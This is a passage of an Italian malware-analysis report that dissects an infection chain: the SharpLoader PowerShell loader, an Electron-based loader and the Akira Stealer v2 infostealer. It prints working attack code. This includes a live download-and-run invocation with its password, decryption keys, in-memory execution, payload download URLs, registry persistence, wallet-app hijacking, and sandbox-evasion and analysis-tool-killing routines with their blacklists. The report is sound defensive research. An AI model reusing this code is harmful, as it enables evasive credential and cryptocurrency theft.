Questa tecnica è chiamata esecuzione fileless. È altamente evasiva perché:

  • Evita di toccare il disco, senza lasciare IOC (indicatori di compromissione) basati su file
  • Rende più difficile l'acquisizione forense tradizionale, dato che nessuna binary viene salvata su disco
  • Elude il rilevamento statico basato su signature, dato che i motori AV si affidano spesso alla scansione dei file

Se l'EntryPoint non è static, il loader prevede una logica di fallback:

MethodInfo method = a.EntryPoint;
if (method != null)
{
    object o = a.CreateInstance(method.Name);
    method.Invoke(o, null);
}

Questo garantisce compatibilità con gli assembly che richiedono un oggetto istanziato per l'esecuzione (per esempio public int Main() dentro un'istanza di classe). Il codice crea dinamicamente un'istanza della classe e poi chiama il metodo di entry point.

Unito al bypass di AMSI e alla decifratura in memoria, questo meccanismo porta il payload finale all'esecuzione in modo furtivo e completamente fileless, un tratto distintivo del malware evasivo moderno.

4.5 Parametri da riga di comando e flessibilità

La funzione PowerShell Invoke-SharpLoader è progettata per fungere da wrapper flessibile per payload .NET arbitrari. Supporta l'immissione dinamica sia della posizione del payload sia degli argomenti, così una singola istanza del loader può essere riutilizzata in operazioni o campagne diverse.

Parametri supportati:

  • -location (obbligatorio): indica un URL oppure un percorso di file locale al payload cifrato di stadio due.
  • -password (obbligatorio): serve a derivare la chiave di decifratura AES.
  • -argument, -argument2, -argument3 (opzionali): vengono inoltrati direttamente al metodo Main() dell'assembly .NET tramite reflection.
  • -noArgs: avvia l'esecuzione senza passare alcun parametro al payload di secondo stadio.

Internamente gli argomenti vengono raccolti e inoltrati così:

object[] cmd = args.Skip(2).ToArray();
a.EntryPoint.Invoke(null, new object[] { cmd });

Questo significa che il payload .NET deve avere una firma simile a:

static void Main(string[] args)

oppure ricadrà con garbo sulla variante Main() senza parametri grazie alla logica di fallback. Questo comportamento permette a red team o autori di malware di creare secondi stadi multiuso, capaci di eseguire operazioni diverse a seconda dell'input: per esempio lanciare un implant, raccogliere informazioni di sistema o avviare la comunicazione C2.

Modularità e configurabilità di questo tipo sono caratteristiche chiave dei framework di malware avanzati e mostrano come i loader basati su script possano comportarsi da ambienti di esecuzione altamente adattivi per i payload a valle.

4.6 Esempio d'uso reale

Per illustrare l'esecuzione di SharpLoader in una campagna reale, prendiamo la seguente invocazione osservata in the wild:

Invoke-SharpLoader -location "https://cosmoplwnets.xyz/.well-known/pki-validation/calc.enc" -password UwUFufu1 -noArgs

Questo esempio mette in evidenza il caso d'uso tipico di SharpLoader:

  • Argomento location: l'URL punta a un server remoto che ospita calc.enc, un payload di secondo stadio nascosto. L'endpoint si trova sotto una directory .well-known dall'aspetto legittimo, spesso usata per la validazione dei certificati HTTPS, il che aiuta a far confondere l'URL con il normale traffico web.
  • Caratteristiche del payload: calc.enc è un file con triplo offuscamento, codificato in Base64, compresso con GZip e cifrato con AES. Questa pipeline di offuscamento rende il payload opaco alla maggior parte dei meccanismi di rilevamento, a meno che non venga eseguito e decifrato completamente in memoria.
  • Argomento password: la stringa UwUFufu1 viene usata a runtime per derivare la chiave AES tramite SHA-256 e PBKDF2. Senza questa password il payload non può essere decifrato, il che rende l'analisi offline priva di contesto quasi impossibile.
  • Nessun argomento aggiuntivo: lo switch -noArgs indica che nessun parametro da riga di comando viene passato all'assembly .NET decifrato, il che ne attiva il percorso di esecuzione predefinito.

Questa catena di invocazione furtiva racchiude lo scopo centrale di SharpLoader: una consegna del payload fileless, adattiva e protetta attraverso una semplice sintassi PowerShell, con il massimo di offuscamento ed evasione.

4.7 Sintesi

Il costrutto Invoke-SharpLoader è l'esempio di una tecnica di staging del malware molto raffinata ed evasiva, che sfrutta componenti nativi del sistema, reflection e crittografia per operare quasi interamente in memoria.

Punti chiave:

  • Bypass di AMSI: il patching diretto in memoria di AmsiScanBuffer disattiva l'ispezione antivirus senza invocare API rilevabili.
  • Gestione protetta del payload: il recupero di payload di stadio due cifrati e compressi garantisce riservatezza e aggiunge più strati di evasione.
  • Esecuzione solo in memoria: i payload decifrati non vengono mai scritti su disco, il che rende quasi impossibile il rilevamento da parte degli scanner tradizionali basati su file.
  • Architettura modulare e riutilizzabile: grazie ai parametri PowerShell, SharpLoader può essere riutilizzato con flessibilità in campagne diverse, con payload e comportamenti a runtime differenti.

5. Deep Dive: main.exe – malware loader basato su Electron

Durante il reverse engineering è diventato chiaro che main.exe, segnalato da Microsoft Defender for Endpoint, non era una binary convenzionale ma un malware loader basato su Electron. Veniva consegnato dentro un archivio chiamato app-64.7z, che Updater.exe scaricava ed estraeva a runtime. Una volta scompattato, struttura e contenuto somigliavano molto a una tipica applicazione Electron.

5.1 Riconoscere la struttura Electron

La cartella estratta conteneva file come:

  • chrome_100_percent.pak, v8_context_snapshot.bin, d3dcompiler_47.dll
  • LICENSES.chromium e LICENSES.electron
  • Una grossa binary main.exe (~150 MB)
  • Una cartella resources contenente app.asar e una binary secondaria elevate.exe

Versione dell'app desktop impacchettata per Windows a 64 bit

Sono tutti indicatori forti di un'app Electron, che usa Chromium e Node.js per impacchettare applicazioni desktop basate su JavaScript. La presenza di elevate.exe, una binary Microsoft firmata spesso usata per elevare i privilegi, ha alimentato ulteriori sospetti, perché potrebbe essere sfruttata per avviare processi figli con diritti elevati.

5.2 Scompattamento e analisi statica (deep dive)

Invece di eseguire main.exe ho scelto un approccio di analisi statica, per non innescare alcun comportamento dal vivo. Il mio sospetto iniziale che main.exe fosse costruito con Electron è stato confermato individuando il file app.asar nella directory resources. Nelle app Electron questo archivio contiene tutta la logica applicativa principale, come file JavaScript, configurazione (package.json) e asset, impacchettati in un formato proprietario per ragioni di prestazioni e di offuscamento.

L'archivio .asar è in sostanza un contenitore in sola lettura e ad alte prestazioni, simile a uno .zip ma ottimizzato per il runtime di Electron. Anche se non è cifrato, rende l'accesso al codice meno immediato e complica l'analisi statica finché non viene scompattato.

Per scompattarlo ho usato lo strumento ufficiale asar distribuito tramite npm. I passi erano:

npm install -g asar
asar extract app.asar extracted_app

Eseguendo i comandi di cui sopra il contenuto è stato estratto in una cartella di lavoro (extracted_app/), che ha rivelato il vero codice applicativo JavaScript. Comprendeva:

  • jscryter.js, input.js, obf.js: questi script costituiscono la logica del malware. jscryter.js sembra orchestrare la consegna del payload, input.js definisce costanti di configurazione o logica di comando e obf.js è uno script fortemente offuscato che probabilmente contiene la logica centrale del payload.
  • package.json, package-lock.json: definiscono l'ambiente di runtime
  • node_modules/: contiene tutte le dipendenze come axios, adm-zip, child_process

Il contenuto scompattato ha dato piena visibilità sulla logica del malware senza doverlo eseguire, cosa essenziale per un reverse engineering sicuro. Questo passaggio ha confermato che main.exe serviva puramente da wrapper di runtime per gli script malevoli nascosti in app.asar.

5.3. Cosa ha rivelato l'analisi statica

Ispezionando manualmente il codice ho confermato che la logica del malware era interamente basata su JavaScript ed eseguita dentro il runtime di Electron. Gli script erano progettati per:

  • Scaricare un payload cifrato (pyth.zip) da URL di fallback
  • Estrarre l'archivio con adm-zip
  • Eseguire una sostituzione di stringhe per iniettare credenziali o indirizzi di wallet specifici
  • Avviare il file Python risultante (astor.py) tramite child_process.exec() e python.exe

Fondamentale: il loader includeva anche una logica per copiare Updater.exe nella directory AppData dell'utente se non era già presente, rafforzando la persistenza e mantenendo attivo il loop di infezione.

6. Deep Dive: input.js – il payload loader JavaScript cifrato

input.js è un componente critico della catena di malware analizzata e funziona da centro di decifratura ed esecuzione per un payload JavaScript cifrato. Questo script nasconde la sua funzionalità centrale dietro un solido strato di cifratura e rivela il proprio comportamento solo a runtime.

6.1 Meccanica di cifratura e decifratura

A prima vista input.js contiene pochissimo codice leggibile. Il suo scopo principale, però, è decifrare ed eseguire un grosso blob JavaScript offuscato memorizzato nello script stesso.

6.1.1 Logica di decifratura

Lo script definisce una funzione decrypt() che accetta quattro parametri:

  • encdata: i dati cifrati codificati in Base64
  • masterkey: una passphrase in chiaro
  • salt: un salt crittografico (Base64)
  • iv: il vettore di inizializzazione per la decifratura AES (Base64)

Il processo di decifratura è realizzato con il modulo crypto integrato in Node.js e procede così:

  1. Derivazione della chiave: lo script deriva una chiave simmetrica a 256 bit tramite PBKDF2 (Password-Based Key Derivation Function 2):
    const key = crypto.pbkdf2Sync(
      masterkey,
      Buffer.from(salt, "base64"),
      100000,
      32,
      "sha512",
    );
    
    • Funzione di hash: SHA-512
    • Iterazioni: 100.000
    • Lunghezza della chiave: 32 byte (256 bit)
    • Salt: fornito come input decodificato da Base64
  2. Decifratura AES-256-CBC: la chiave derivata viene poi usata per creare un oggetto decipher AES:
    const decipher = crypto.createDecipheriv(
      "aes-256-cbc",
      key,
      Buffer.from(iv, "base64"),
    );
    

    Il payload cifrato viene decifrato con la modalità CBC (Cipher Block Chaining) standard:
    let decrypted = decipher.update(encdata, "base64", "utf8");
    decrypted += decipher.final("utf8");
    
  3. Esecuzione dinamica: il codice JavaScript decifrato non viene mai scritto su disco. Viene invece eseguito dinamicamente in memoria tramite il costruttore Function:
    new Function("require", decrypted)(require);
    

    Questa tecnica abilita l'esecuzione fileless e riduce le probabilità di rilevamento da parte dei motori antivirus tradizionali, che si basano sulla scansione del disco.

Questo approccio dimostra una difesa a strati contro il reverse engineering, che combina derivazione della chiave, cifratura robusta ed esecuzione dinamica in memoria.

Materiale di chiave e dati cifrati

Lo script include i seguenti input hardcoded:

  • Dati cifrati: un blob enorme codificato in Base64
  • Master key: 9uNXNGt8/7kN7ZiEvy1OdYNpbcnzkERs
  • Salt: maXtklzMEZRY9dbul/XPSw== (codificato in Base64)
  • IV: HwK6sOz7FBbL+YsrOxtYUg== (codificato in Base64)

Sono tutti incorporati direttamente nel codice sorgente di input.js.

6.2 Comportamento del payload dopo la decifratura

Una volta decifrato, il payload incorporato diventa un programma JavaScript completo che compie le azioni malevole seguenti:

6.2.1 Preparazione dell'ambiente

Il payload decifrato inizia predisponendo il proprio ambiente di esecuzione con i moduli integrati di Node.js. Questa fase di setup fa sì che tutti i percorsi e le directory di lavoro necessari siano definiti chiaramente prima che si verifichi qualsiasi comportamento malevolo.

  • Risoluzione della directory temporanea: il malware chiama os.tmpdir() per determinare il percorso della directory temporanea del sistema corrente. È una tattica comune per il malware, perché le cartelle temporanee sono in genere scrivibili e meno controllate dai sistemi di endpoint protection.
    const tempDir = os.tmpdir();
    
  • Costruzione dei percorsi: lo script costruisce poi i percorsi assoluti di due file importanti:
    • pyth.zip: l'archivio che contiene il vero stealer di secondo stadio basato su Python
    • bnd.exe: un eseguibile opzionale che può fare da backdoor di persistenza o da payload aggiuntivo
    const tempFile = path.join(tempDir, "pyth.zip");
    const binderFile = path.join(tempDir, "bnd.exe");
    

Questa impostazione dei percorsi astrae la sintassi specifica del sistema operativo e permette al malware di operare senza attriti su qualsiasi sistema Windows. Prepara anche il terreno per i meccanismi di download e scompattamento che seguono.

6.2.2 Download del payload con strategia di fallback

La seconda fase importante del payload JavaScript decifrato consiste nello scaricare un archivio ZIP malevolo da fonti remote. Questo meccanismo è progettato con una strategia di fallback su più livelli, per aumentare resilienza e disponibilità.

  • Risoluzione del link primario tramite Rentry.co lo script inizia risolvendo un URL dinamico da un servizio di paste testuale. Invia una richiesta GET a:
    const url = "https://rentry.co/7vzd22fg36hfdd33/raw";
    

    Questa restituisce una stringa URL in chiaro che punta alla posizione reale dell'archivio pyth.zip. Usare un meccanismo di reindirizzamento di questo tipo è una tecnica di offuscamento comune, perché astrae l'URL malevolo reale e rende più difficile il rilevamento statico.
  • Esecuzione del download l'URL risolto viene poi richiesto tramite la libreria Axios con uno stream di risposta:
    const fileResponse = await axios.get(fileUrl, { responseType: "stream" });
    

    Il file viene scritto su disco come pyth.zip nella directory temp del sistema:
    const writer = fs.createWriteStream(tempFile);
    fileResponse.data.pipe(writer);
    

    Questo download è incapsulato in una Promise per garantirne il completamento sincrono prima che venga eseguita la logica successiva.
  • URL di fallback se il link basato su Rentry non funziona, lo script tenta posizioni di backup hardcoded:
    https://cosmicdust.zip/.well-known/pki-validation/pyth.zip
    https://cosmoplanets.net/well-known/pki-validation/pyth.zip
    

    Questi domini sono strutturati per sembrare parte delle cartelle standard di validazione TLS, forse imitando i percorsi di Let's Encrypt o di domain validation per attirare meno sospetti. Ogni fallback viene ritentato con la stessa logica di streaming e scrittura su file.
  • Robustezza e offuscamento questo meccanismo di fallback garantisce al malware più percorsi di recupero per il payload di secondo stadio. L'uso di un puntatore dinamico (rentry.co) e di più mirror di failover rende il malware più resistente a takedown, blocchi e sinkhole DNS.

Questa fase mostra un'attenta pianificazione operativa da parte degli autori del malware, con ridondanza a strati e un'infrastruttura di delivery ben camuffata.

  • Scarica pyth.zip dall'URL risolto
  • Se non riesce, tenta i mirror di fallback:
    • https://cosmicdust.zip/.well-known/pki-validation/pyth.zip
    • https://cosmoplanets.net/well-known/pki-validation/pyth.zip

6.2.3 Estrazione e manipolazione del payload

Una volta scaricato con successo l'archivio pyth.zip e salvato su disco, il malware procede a estrarne il contenuto e a prepararlo per l'esecuzione. Lo fa con la libreria Node.js adm-zip, che permette la gestione programmatica dei file ZIP.

  • Estrazione dello ZIP:
    const zip = new AdmZip(tempFile);
    zip.extractAllTo(tempDir, true);
    

    Questo estrae tutto il contenuto dell'archivio nella directory temporanea del sistema. Il flag true garantisce la sovrascrittura di eventuali file esistenti.
  • Contenuto dell'archivio: l'archivio pyth.zip include un progetto Python completamente impacchettato, con:
    • Una struttura di directory che somiglia a un pacchetto Python legittimo
    • Diversi moduli e dipendenze Python
    • Il file chiave astor.py, collocato in Crypto/Util/astor.py, che è il payload principale dello stealer
  • Sostituzione dei placeholder: il malware effettua una sostituzione dinamica di placeholder predefiniti all'interno di astor.py per iniettare dati di configurazione controllati dall'attaccante, come:
    • Un URL di webhook Discord
    • Indirizzi di wallet di criptovalute (BTC, ETH, DOGE, LTC, XMR, ecc.)
    • Un identificativo utente (%USERID%)
    • Un flag di stato di errore (%ERRORSTATUS%)
    fs.readFile(extractedDir + "\Crypto\Util\astor.py", 'utf8', (err, data) => {
      let updatedFile = data
        .replace("%DISCORD%", <webhook>)
        .replace("%ADDRESSBTC%", <btc_address>)
        ...
        .replace("%ERRORSTATUS%", displayError ? "true" : "false");
    
      fs.writeFile(extractedDir + "\Crypto\Util\astor.py", updatedFile, 'utf8');
    });
    

Questa fase di manipolazione dinamica è essenziale. Rinviando a runtime l'inserimento dei valori controllati dall'attaccante, il payload evita il rilevamento statico e permette all'operatore di adattare target ed endpoint di esfiltrazione senza reimpacchettare l'archivio.

  • Sostituisce le stringhe placeholder in astor.py:
    • Webhook Discord: %DISCORD%
    • Indirizzi di wallet: %ADDRESSBTC%, %ADDRESSETH%, ecc.
    • ID utente e flag di errore

6.2.4 Esecuzione del malware

  • Completata l'iniezione dei placeholder in astor.py, il malware avvia l'esecuzione dello stealer tramite una chiamata di sistema
    exec("python.exe Crypto\\Util\\astor.py");
    

Questo comando viene eseguito con la funzione child_process.exec di Node.js e avvia il payload Python incorporato in un processo separato. Questo specifico pattern di esecuzione, python.exe con l'argomento Crypto\Util\astor.py, è stato osservato nei dati di telemetria raccolti da Microsoft Defender for Endpoint, il che lo rende un artefatto di rilevamento affidabile. In pratica la catena di esecuzione si presenta così:

L'intera catena di esecuzione del malware, come osservata nella telemetria di Microsoft Defender for Endpoint, segue questa sequenza:

  • main.exe (contenitore basato su Electron) invoca node.exe
  • node.exe avvia cmd.exe
  • cmd.exe lancia python.exe
  • python.exe esegue il file Crypto\Util\astor.py

6.2.5 Rafforzamento della persistenza

Per garantirsi una presenza di lungo periodo sul sistema infetto, il payload JavaScript decifrato include una logica che ristabilisce la persistenza copiando la binary iniziale (Updater.exe) in una posizione nascosta all'interno del profilo utente.

Directory di destinazione

Il file viene copiato in una directory che imita componenti Windows legittimi:

%APPDATA%\Microsoft\Internet Explorer\UserData\Updater.exe

Questa posizione è scelta di proposito:

  • %APPDATA% è scrivibile dagli utenti normali e non richiede privilegi amministrativi.
  • Il nome della directory imita le cartelle di applicazioni Microsoft legittime, quindi attira meno sospetti.

Meccanismo di copia:

L'operazione di copia usa la funzione fs.copyFileSync() di Node.js:

fs.copyFileSync(
  process.env.PORTABLE_EXECUTABLE_FILE,
  path.join(
    process.env.APPDATA,
    "Microsoft",
    "Internet Explorer",
    "UserData",
    "Updater.exe",
  ),
);
  • PORTABLE_EXECUTABLE_FILE è una variabile d'ambiente impostata automaticamente da molti packer (come Electron) per riferirsi al percorso della binary in esecuzione.
  • path.join(...) costruisce un percorso di destinazione completo e valido su sistemi operativi diversi.

Questa logica viene eseguita solo se il file non è già presente, e agisce quindi da meccanismo di autoriparazione per ripristinare il dropper in caso di cancellazione.

Ruolo nella catena di malware La presenza di questa copia di Updater.exe garantisce che:

  • Il loader possa riattivarsi da sé attraverso i riavvii del sistema.
  • L'intera catena di infezione (che porta a main.exe, node.exe e infine ad astor.py) possa ripartire senza affidarsi ai tradizionali meccanismi di persistenza nel registro, che hanno più probabilità di essere monitorati.

6.2.6 Esecuzione opzionale del binder

Oltre a scaricare ed eseguire il payload principale dello stealer (astor.py), il JavaScript decifrato contiene anche una logica per scaricare e avviare facoltativamente un eseguibile secondario chiamato "binder". Questo componente può servire per la persistenza, come diversione o per distribuire moduli di malware aggiuntivi.

Esecuzione condizionale

La logica del binder si attiva solo se è impostato un flag specifico:

enableBinder = true;

Nel sample analizzato questo valore era impostato su false per default, ma la logica resta incorporata nel payload e può essere abilitata senza difficoltà in una campagna o variante diversa.

Logica di download del binder

Se attivata, lo script tenta di prelevare una binary esterna da un URL definito dal placeholder %BINDERURL%:

const fileUrl = "%BINDERURL%";
const fileResponse = await axios.get(fileUrl, { responseType: "stream" });
const writer = fs.createWriteStream(binderFile);
fileResponse.data.pipe(writer);
  • Il file bnd.exe viene salvato nella directory temporanea del sistema.
  • Come pyth.zip, la binary viene scaricata con Axios in modalità stream, per non caricare in memoria l'intera binary.

Strategia di esecuzione

Dopo un download riuscito, lo script invoca la binary scaricata tramite cmd.exe, assicurandosi che venga eseguita in un nuovo contesto di shell:

exec(`start cmd /c start ${binderFile}`, ...);

Per aumentare l'affidabilità, lo script include una logica di retry:

setTimeout(() => {
  exec(...);
}, 5000);

Questo garantisce che, anche se la prima esecuzione fallisce (per esempio a causa del carico di sistema o di race condition), il malware ritenti l'avvio della binary dopo una breve attesa.

Casi d'uso del binder

Anche se lo scopo esatto della binary del binder non emerge in questo particolare sample (per via dell'URL placeholder), componenti di questo tipo sono comunemente usati per:

  • Reinstallare o riavviare i componenti principali del malware
  • Mostrare falsi installer o applicazioni di facciata
  • Distribuire ulteriore spyware, backdoor o ransomware
  • Modificare le impostazioni di sistema o disattivare funzioni di sicurezza

6.3 Sintesi

input.js è un loader JavaScript fortemente offuscato e cifrato, che usa crittografia standard di settore (PBKDF2 + AES-256-CBC) per proteggere il suo vero scopo. Una volta decifrato opera come loader di secondo stadio a tutti gli effetti, capace di:

  • Recuperare ulteriore malware (pyth.zip)
  • Modificare dinamicamente il comportamento del payload
  • Avviare il vero script di stealer (astor.py)
  • Rafforzare la persistenza ripristinando Updater.exe

La sua combinazione di cifratura, esecuzione dinamica, recupero modulare del payload e operatività fileless mostra un'architettura di malware basata su JavaScript estremamente avanzata, che sfrutta le capacità di Node.js all'interno di un guscio Electron.

7. DeepDive: Akira Stealer v2 (astor.py)

7.1. Funzionalità a grandi linee

Akira Stealer v2 (astor.py) è un malware infostealer multifunzione e modulare scritto in Python. È progettato per esfiltrare un'ampia gamma di dati utente sensibili da browser basati su Chromium e su Firefox, wallet di criptovalute, client di comunicazione (per esempio Discord, Telegram) e file di sistema. Integra meccanismi sofisticati di anti analisi, persistenza basata sul registro, hijacking della clipboard e tecniche di injection in memoria.

7.2 Persistenza e distribuzione

7.2.1 Contesto della catena di esecuzione

astor.py non viene eseguito in autonomia, ma è il payload finale di una catena d'attacco multistadio:

Updater.exe
  └── main.exe (Electron app)
        └── cmd.exe
              └── python.exe astor.py

Questa catena di esecuzione strutturata permette a ogni stadio di sfuggire al rilevamento delegando la funzionalità malevola a quello successivo. Updater.exe avvia la sequenza ed è responsabile del mantenimento della persistenza.

7.2.2 Persistenza basata sul registro

Akira stabilisce la persistenza scrivendo una chiave di registro nel percorso Run dell'utente corrente. Questo garantisce che Updater.exe venga eseguito a ogni avvio del sistema:

command = f'reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v "Realtek Audio" /t REG_SZ /d "{path}\\Updater.exe" /f'
os.system(command)
  • Percorso: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • Nome del valore: Realtek Audio (scelto per sembrare innocuo)
  • Percorso del payload: tipicamente in AppData\Roaming\Microsoft\Internet Explorer\UserData\\Updater.exe

Questo comando scrive in silenzio la voce di autorun tramite PowerShell o tramite l'esecuzione nativa di os.system().

7.2.3 Occultamento del file

Per nascondere ulteriormente la binary agli utenti e alle scansioni AV più semplici, al file vengono assegnati gli attributi hidden e system:

subprocess.run(["attrib", "+h", "+s", destination_path])
  • +h: marca il file come nascosto
  • +s: marca il file come file di sistema protetto

In pratica questo rimuove il file dalle viste standard di Esplora file di Windows e aumenta la furtività.

7.2.4 Tecniche di reinfezione

Il malware supporta autoreplicazione e reinfezione tramite hijacking di applicazioni Electron. In particolare sostituisce l'archivio app.asar nei wallet desktop basati su Electron (per esempio Exodus, Atomic Wallet) per eseguire JavaScript malevolo durante l'avvio legittimo dell'app.

La logica cerca percorsi noti di app di wallet:

path = os.getenv("APPDATA") + "\\Exodus\\resources\\app.asar"

Se il file di destinazione esiste, viene sovrascritto con un archivio armato. Questo garantisce la persistenza anche dopo la rimozione manuale di Updater.exe.

7.3 Anti analisi ed evasione (classe: VmProtect)

7.3.1 Introduzione

Nelle campagne di malware moderne, sfuggire all'analisi in ambienti virtualizzati e sandbox è decisivo per mantenere la furtività. Akira Stealer v2 implementa un modulo completo di rilevamento di VM e sandbox (VmProtect) che individua in modo aggressivo gli ambienti controllati dagli analisti e interrompe l'esecuzione. Questo report analizza ogni tecnica di rilevamento, riporta gli snippet di codice esatti, comprese le definizioni complete delle blacklist, e illustra la metodologia di analisi usata.

7.3.2 Panoramica

La classe VmProtect implementa un solido rilevamento di VM e sandbox per interrompere prematuramente l'esecuzione negli ambienti di analisi. Supporta due livelli di rilevamento:

  • Livello 1: controlli leggeri e rapidi
  • Livello 2: sonde approfondite e complete

Se VmProtect.isVM(level) restituisce True, il malware chiama sys.exit(), impedendo ulteriori analisi.

7.3.3 Livelli di rilevamento

Funzionalità Livello 1 Livello 2
HTTPSimulation ✔️ ✔️
Blacklist dei nomi computer ✔️ ✔️
Blacklist degli account utente ✔️ ✔️
Blacklist degli UUID hardware ❌ ✔️
Controllo API di hosting pubblico ❌ ✔️
Indizi da registro e GPU ❌ ✔️
Terminazione dei task in background ✔️ ✔️

7.3.4 Architettura di VmProtect

La classe VmProtect espone i metodi principali seguenti:

  • checkUUID()
  • checkComputerName()
  • checkUsers()
  • checkHosting()
  • checkHTTPSimulation()
  • checkRegistry()
  • killTasks()
  • isVM(level)

Ogni metodo restituisce un valore booleano oppure esegue passi di evasione. Il wrapper isVM aggrega questi controlli in base al livello indicato.

Metodo Attivato da Descrizione
checkUUID() isVM(2) Blacklist di UUID WMI
checkComputerName() isVM(1,2) Corrispondenza dell'hostname da variabile d'ambiente
checkUsers() isVM(1,2) Blacklist dei nomi utente
checkHosting() isVM(2) Controllo del provider di hosting IP tramite ip-api.com
checkHTTPSimulation() isVM(1,2) Rilevamento dell'intercettazione HTTPS
checkRegistry() isVM(2) Artefatti del registro e dei driver GPU
killTasks() spawn di isVM(...) Termina processi di analisi noti
isVM(level) init Aggrega i controlli e avvia il thread killTasks()
@staticmethod
def isVM(level: int) -> bool:
    # Always start background task-killer
    Thread(target=VmProtect.killTasks, daemon=True).start()
    if level == 1:
        # Fast path: HTTPS, hostname & user
        return (
            VmProtect.checkHTTPSimulation()
            or VmProtect.checkComputerName()
            or VmProtect.checkUsers()
        )
    if level == 2:
        # Deep scan: includes UUID, hosting, registry & GPU
        try:
            return (
                VmProtect.checkHTTPSimulation()
                or VmProtect.checkUUID()
                or VmProtect.checkComputerName()
                or VmProtect.checkUsers()
                or VmProtect.checkHosting()
                or VmProtect.checkRegistry()
            )
        except:
            return False
    return False

7.3.5 Controllo dell'UUID: identificare le macchine virtuali tramite UUID hardware

Una tattica comune nell'evasione del malware è il fingerprinting dell'ambiente hardware sottostante. Uno dei primi identificatori che possono segnalare una macchina virtuale è l'UUID di sistema (Universally Unique Identifier). Le piattaforme di virtualizzazione come VMware e VirtualBox generano spesso UUID prevedibili o riutilizzati, e il malware può sfruttarli per dedurre se si trova in un ambiente virtualizzato o in una sandbox.

@staticmethod
def checkUUID() -> bool:
    try:
        raw = subprocess.run(
            "wmic csproduct get uuid", shell=True,
            capture_output=True
        ).stdout.splitlines()[2].decode().strip()
    except:
        raw = ""
    return raw in VmProtect.BLACKLISTED_UUIDS

Questo controllo si appoggia allo strumento Windows Management Instrumentation Command-line (WMIC) per estrarre l'UUID della macchina host. Il valore restituito viene poi confrontato con un elenco curato di UUID comunemente associati a template di macchine virtuali o a setup di analisi noti.

7.3.6 Controllo del nome computer: individuare sandbox e ambienti di analisi tramite hostname

L'hostname di sistema, accessibile tramite la variabile d'ambiente %COMPUTERNAME%, rivela spesso indizi sull'ambiente in cui si trova. Gli analisti usano spesso hostname predefiniti o generati in fretta come "DESKTOP-XXXXXXX", "WIN10ANALYSIS", o persino nomi legati ai loro ambienti interni. Il malware sfrutta questa abitudine confrontando l'hostname del sistema con una blacklist.

@staticmethod
def checkComputerName() -> bool:
    name = os.getenv("computername", "").lower()
    return name in VmProtect.BLACKLISTED_COMPUTERNAMES

BLACKLISTED_COMPUTERNAMES = (
    '00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',
    'desktop-vkeons4','ntt-eff-2w11wss',
    # ... dozens more entries ...
)

Se trova una corrispondenza, il malware può scegliere di fermare l'esecuzione o di distribuire un payload di facciata, evitando così un'analisi comportamentale completa.

7.3.7 Controllo dell'account utente: profilare account di analisti o account predefiniti

Un'altra euristica consiste nel valutare il nome utente con cui il malware viene eseguito. Molti template di macchine virtuali e molte sandbox riutilizzano nomi utente comuni come "Abby", "Test" o "wdagutilityaccount". Sono nomi a bassa entropia e spesso hardcoded negli ambienti sandbox open source.

@staticmethod
def checkUsers() -> bool:
    user = os.getlogin().lower()
    return user in VmProtect.BLACKLISTED_USERS

BLACKLISTED_USERS = (
    'wdagutilityaccount','abby','peter wilson','hmarc',
    'a.monaldo','tvm',
    # ... 30+ more entries ...
)

Questo controllo migliora il rilevamento concentrandosi sul contesto utente, che può restare invariato anche tra riavvii o snapshot di macchine virtuali.

7.3.8 Controllo dell'hosting: individuare infrastrutture cloud pubbliche

Alcuni malware usano servizi esterni di IP intelligence per verificare se il sistema infetto si trova in un data center noto o nell'ambiente di un cloud provider. In questo caso viene fatta una semplice richiesta HTTP a ip-api.com, per chiedere se l'IP è classificato come "hosting".

@staticmethod
def checkHosting() -> bool:
    http = PoolManager(cert_reqs="CERT_NONE")
    try:
        return http.request(
            'GET',
            'http://ip-api.com/line/?fields=hosting'
        ).data.decode().strip() == 'true'
    except:
        return False

Questo permette al malware di capire se è in esecuzione su infrastruttura di Microsoft Azure, AWS, DigitalOcean e simili, un campanello d'allarme che indica una sandbox.

7.3.9 Controllo di simulazione HTTPS: sondare l'intercettazione SSL

Per identificare gli ambienti con ispezione SSL (comuni nelle reti aziendali o di ricerca), il malware invia una richiesta HTTPS innocua a un sottodominio casuale sotto .in. Se la connessione fallisce, per filtraggio DNS, proxy di intercettazione o errori di certificate pinning, il fatto può indicare che il malware è sotto analisi.

@staticmethod
def checkHTTPSimulation() -> bool:
    http = PoolManager(cert_reqs="CERT_NONE", timeout=1.0)
    try:
        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')
    except:
        return False
    return True

Questo approccio sottile verifica l'integrità del percorso di rete senza far scattare allarmi e senza richiedere infrastruttura dedicata.

7.3.10 Controllo del registro e dei driver GPU: individuare le firme delle GPU virtuali

Alcuni ambienti virtuali si tradiscono attraverso chiavi di registro o descrittori dei driver GPU. Akira adotta una doppia strategia: interroga le voci di registro legate al sottosistema grafico e, separatamente, esamina l'output di wmic alla ricerca di stringhe GPU sospette.

@staticmethod
def checkRegistry() -> bool:
    r1 = subprocess.run(
        "REG QUERY HKLM\\...\\0000\\DriverDesc 2",
        capture_output=True, shell=True)
    r2 = subprocess.run(
        "REG QUERY HKLM\\...\\0000\\ProviderName 2",
        capture_output=True, shell=True)

    # GPU name check
    gpu_out = subprocess.run(
        "wmic path win32_VideoController get name",
        capture_output=True, shell=True).stdout.decode().splitlines()
    gpucheck = any(x in gpu_out[2].lower()
                   for x in ("virtualbox", "vmware"))
    return (r1.returncode != 1 and r2.returncode != 1) or gpucheck

Questi controlli a livello hardware sono particolarmente efficaci contro i setup degli analisti, che non sempre mascherano del tutto gli adattatori video virtualizzati.

7.3.11 Terminazione dei task: sopprimere gli strumenti di analisi in tempo reale

Invece di limitarsi a eludere il rilevamento in modo passivo, Akira fa un passo in più e termina attivamente strumenti di analisi o di debugging noti. Avvia un thread in background che scorre un elenco di processi e chiude qualsiasi corrispondenza trovata.

@staticmethod
def killTasks() -> None:
    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)

BLACKLISTED_TASKS = (
  'wireshark','fiddler','ida64','x32dbg','vmtoolsd',
  # ... dozens more ...
  'glasswire','requestly'
)

Questi strumenti, usati comunemente da incident responder e analisti di malware, vengono neutralizzati prima che possano raccogliere artefatti comportamentali significativi.

Sintesi

